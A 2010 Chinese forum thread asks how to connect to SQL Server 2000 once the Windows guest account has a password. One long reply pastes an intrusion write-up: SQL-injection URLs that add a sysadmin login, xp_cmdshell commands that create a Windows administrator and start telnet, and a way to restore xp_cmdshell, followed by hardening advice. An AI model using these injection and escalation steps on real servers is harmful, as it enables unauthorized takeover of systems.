guest用户设置了密码 如何连接 ms SQL

zsjzwj 2010-04-15 04:53:28
我的ms sql 2000 数据库是sql server and windows登陆模式,
但服务器的windows xp 的guest用户需要设置密码,
那么我的客户端程序就连接不了了,需要怎么设置才可以连接,
可以的话给个delpih ado 连接的字符串.
...全文
133 14 打赏 收藏 转发到动态 举报
写回复
用AI写文章
14 条回复
切换为时间正序
请发表友善的回复…
发表回复
永生天地 2010-04-15
  • 打赏
  • 举报
回复
看了这个 感觉好麻烦


通过SQL Server 用户来添加Windows帐户并提升为管理员权限
use master
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
--测试是否有xp_cmdshell的权限,如果列出数据,说明有权限
exec xp_cmdshell 'dir c:'
go

--添加windows用户:
EXEC xp_cmdshell 'net user ghd /add';
--设置好密码:
EXEC xp_cmdshell 'net user ghd password';
--提升到管理员:
EXEC xp_cmdshell 'net localgroup administrators ghd /add';

参考了http://tech.e800.com.cn/articles/2009/724/1248405497313_1.html

方法一:
利用xp_cmdshell存储过程来添加windows用户,并提升到管理员权限。
然后依然利用xp_cmdshell来打开telnet服务。最后当然是登录上去了。

方法二:
利用sp_addlogin添加sql用户,同样还要提升权限。
再用查询分析器连接SQL Server,再利用xp_cmdshell打开telnet服务。
最后登录。

两种方法都能够得到shell,我就选择第二种方法。具体过程如下:


就往SQL Server里面添加一个用户吧。
方法如下:http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;
回车后执行,浏览器自动补上了空格,变成:
http://1.1.1.1/news/default.asp?cataid=98986;use%20master;exec%20dbo.sp_addlogin%20user;
页面依然正常显示,不过就算你打错了也会正常显示的,不能够判断究竟是
否成功。中间的20%吗,其实就是代表空格符的。上面也就相当于在查询分
析器里面执行:
use master;
dbo.sp_addlogin user;注:此处也可以为sp_addlogin user;前面的url里
面同样可以不要dbo,也就是:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec sp_addlogin%20user;
都是一样的。
现在我们已经添加了一个用户了,密码现在为空,这里就不管这么多了,反正也是
一个过渡的过程,就不加密码了。
如果要改密码,可以这样:dbo.password null,password,user;
dbo.password是修改用密码的存储过程,null是旧密码,password是新密码,
user自然就是用户名了。而在我们这个测试中也就是这样子的:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;

ok,回到主题,现在权限还是不够高,那么就开始提升权限吧,url如下:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addsrvrolemember user,sysadmin;
解释一下sysadmin的含义。SQL Server有八种固定服务器角色,具体如下:数据
库创建者(DBCREATOR),磁盘管理员(DISKADMIN),进程管理员(PROCESSADMIN),
安全管理员(SECURITYADMIN),服务器管理员(SEVERADMIN)安装管理员(SETUPADMIN)
,系统管理员(SYSADMIN),大容量管理员(BULKADMIN)当然最高权限的是系
统管理员(SYSADMIN),默认情况下sa也是系统管理员。
dbo.sp_addsrvrolemember是为固定服务器角色分配登录帐户的存储过程。

用大家经常使用的net命令来对应(本身并没有任何联系,这里拿来对照学习)
sp_addlogin user;相当于 net user user /add
sp_password null,password,user相当于net user user password
sp_addsrvrolemember user,sysadmin相当于net localgroup administrators user /add


好了,我们现在已经实现了添加用户并且提升到sysadmin了。下面要做的是添加windows用户并且
开启telnet服务。
打开我的查询分析器,填入服务器地址,用户民和密码。连接成功了。尝试一下xp_cmdshell是否
可以使用,
use master;
xp_cmdshell ‘dir c:‘;
记得分号是不可以少的哦。一切正常。显示出来了c:盘下的目录和文件。那就继续下去,
添加windows用户:
xp_cmdshell ‘net user awen /add‘;
设置好密码:
xp_cmdshell ‘net user awen password‘;
提升到管理员:
xp_cmdshell ‘net localgroup administrators awen /add‘;
开启telnet服务:
xp_cmdshell ‘net start tlntsvr‘
一个老问题就是还有ntlm这个拦路虎。
没问题,直接在肉鸡上也添加一个用户名和密码相同的账号然后再以这个帐号运行cmd就可以了。
具体的做法-----为cmd.exe创建一个快捷方式,右键点击,在"属性"里面钩上"以其他用户身
份运行"。ok,双击。输入刚才的用户名和密码。更加详细的做法清查看阿布的文章----
最快速登录WIN2K TELNET 服务,在这里可以找到.
http://www.patching.net/abu/gongfang/hacking/easytelnet/index.html

好了,可以telnet上去了,就写到这里,后面还进行了一些测试,都是大家所熟悉的就不写了。



再对前面的两种方法进行回顾,其实两种方法还是有区别的。
假如管理员把xp_cmdshell禁止了,第一种方法就无法进行下去了。
有人会说,第二种方法不是也一样要用到xp_cmdshell吗。
正确,不过我们还是有办法恢复过来。SQL server 2000的恢复方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xplog70.dll‘‘
SQL Server 7.0的恢复方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xpsql70.dll‘‘
你在2000下面是找不到xpsql70.dll的,同样7.0下面也是找不到xplog70.dll。
把第二种方法也写出来,没有测试,仅供大家参考:
1 添加用户
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen /add‘;
2 更改密码
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen password‘;
3 提升到管理员权限
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net localgroup administrators awen /add‘;
4 打开telnet服务
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net start tlntsrv‘;
5 依然是采用前面相同的方法登录


三 就本例谈谈怎样进行安全防范

上面所讲的是一个特定的例子,但是反应了一个问题,世界上没有绝对的安全。
安全是有很多很多细节所组成起来的。上面例子中的管理员已经做了一些必要的安全措施。
补丁打得也很及时,但是依然存在着很大的问题。不仅仅是asp没有过滤掉特殊字符。还有一些
比较严重的问题,比如说开启了ms ftp服务,这样入侵者就可以通过暴力破解ftp密码来获得
windows的密码。
如果要谈2000的安全设置,要写上厚厚的一本书也可以。下面仅仅就这个例子中来谈谈。

asp编程要注意的一些问题:
1 涉及用户名与口令的程序最好封装在服务器端,尽量少的在ASP文件里出现,
2 涉及到与数据库连接地用户名与口令应给予最小的权限。如本例,事后问了朋友,
他使用的是sa用户,因此我能够运行很多的存储过程。
3 屏蔽很多特殊字符,如; ‘这种危险的字符必须要给过滤掉。
4 在处理类似留言板、BBS等输入框的ASP程序中,最好屏蔽掉HTML、javascript、VBScript
语句,如无特殊要求,可以限定只允许输入字母与数字,屏蔽掉特殊字符。同时对输入字符
的长度进行限制。而且不但在客户端进行输入合法性检查,同时要在服务器端程序中进行类
似检查。
5 要使用access的话,千万注意到保护好你的mdb文件,别让别人下载。

SQL SERVER的安全
本例中SQL SERVER的设置也存在着很多的问题。比如很多存储过程没有drop,是这次入侵中的
功臣,也是安全的极大的隐患。
1 使用安全的密码策略
2 及时更新补丁程序。
   与windows一样,SQL SERVER的许多漏洞会由补丁程序来弥补。建议在安装补丁程序之前先
在测试机器上做测试,同时提前做好目标服务器的数据备份。而很多管理员往往不注意给SQL
SERVER打补丁。最近就有Resolution服务远程栈缓冲区溢出漏洞,很多站点都没有注意到。
3 严格控制数据库用户的权限,轻易不要给让用户对表有直接的查询、更改、插入、删除权限,
可以通过给用户以访问视图的权限,以及只具有执行存储过程的权限。在上面也提到了。
4 把危险的和不必要的存储过程删除,
xp_cmdshell,很危险的一个存储过程,能够执行dos命令,可以通过下述SQL语句
use master
sp_dropextendedproc ‘xp_cmdshell‘
不过依然可以通过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sql server 2000)
xpsql70.dll(sql serer 7.0)
以下存储过程也很危险
xp_fileexist,用来确定一个文件是否存在。 xp_getfiledetails,可以获得文件详细资料。
xp_dirtree,可以展开你需要了解的目录,获得所有目录深度。 Xp_getnetname,可以获得
服务器名称。
去掉不需要的注册表访问的存储过程,如下:
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regremovemultistring Xp_regwrite
如果你不需要请丢弃OLE自动存储过程,这些过程包括如下:
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop

东那个升 2010-04-15
  • 打赏
  • 举报
回复
[Quote=引用 11 楼 ldslove 的回复:]
SQL code
CREATE LOGIN guest FROM WINDOWS;
GO


权限的话自己分配了。。。。没试过GUEST
[/Quote]

CREATE LOGIN [机器名\guest] FROM WINDOWS;
GO
cyrix_wxm 2010-04-15
  • 打赏
  • 举报
回复

每天回帖即可获得10分可用分!
东那个升 2010-04-15
  • 打赏
  • 举报
回复
CREATE LOGIN guest FROM WINDOWS;
GO


权限的话自己分配了。。。。没试过GUEST
DYLIHT 2010-04-15
  • 打赏
  • 举报
回复
不懂
等待答案
htl258_Tony 2010-04-15
  • 打赏
  • 举报
回复
把guest用户加入administrators组试了吗
喜-喜 2010-04-15
  • 打赏
  • 举报
回复
不懂!友情帮顶....

(做一个映射,把客户端程序的连接映射到服务器的guest用户上!呵呵...想象的...)
SQL77 2010-04-15
  • 打赏
  • 举报
回复
[Quote=引用 4 楼 zsjzwj 的回复:]
所有用户和密码都知道
[/Quote]

http://www.360doc.com/content/10/0119/13/439492_13997564.shtml

参考连接字符串写法

windows登陆模式,

这个好像要添加用户吧
--小F-- 2010-04-15
  • 打赏
  • 举报
回复
知道就直接写连接字符串啊..
zsjzwj 2010-04-15
  • 打赏
  • 举报
回复
没人知道吗
zsjzwj 2010-04-15
  • 打赏
  • 举报
回复
所有用户和密码都知道
--小F-- 2010-04-15
  • 打赏
  • 举报
回复
[Quote=引用 2 楼 zsjzwj 的回复:]
登陆模式不能变
[/Quote]

用户名和密码知道不?
zsjzwj 2010-04-15
  • 打赏
  • 举报
回复
登陆模式不能变
sgtzzc 2010-04-15
  • 打赏
  • 举报
回复
用户sqlserver用户来登陆

34,576

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server相关内容讨论专区
社区管理员
  • 基础类社区
  • 二月十六
  • 卖水果的net
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧